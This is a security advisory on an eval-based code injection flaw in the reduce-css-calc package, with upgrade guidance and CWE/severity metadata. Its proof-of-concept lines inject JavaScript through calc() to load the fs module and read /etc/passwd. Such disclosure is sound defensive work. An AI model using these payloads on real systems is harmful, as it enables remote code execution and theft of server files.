Affected versions of reduce-css-calc
pass input directly to eval
. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.
const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc( (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`));
Update to version 1.2.5 or later.
{ "nvd_published_at": null, "cwe_ids": [ "CWE-94" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2020-06-16T20:57:38Z" }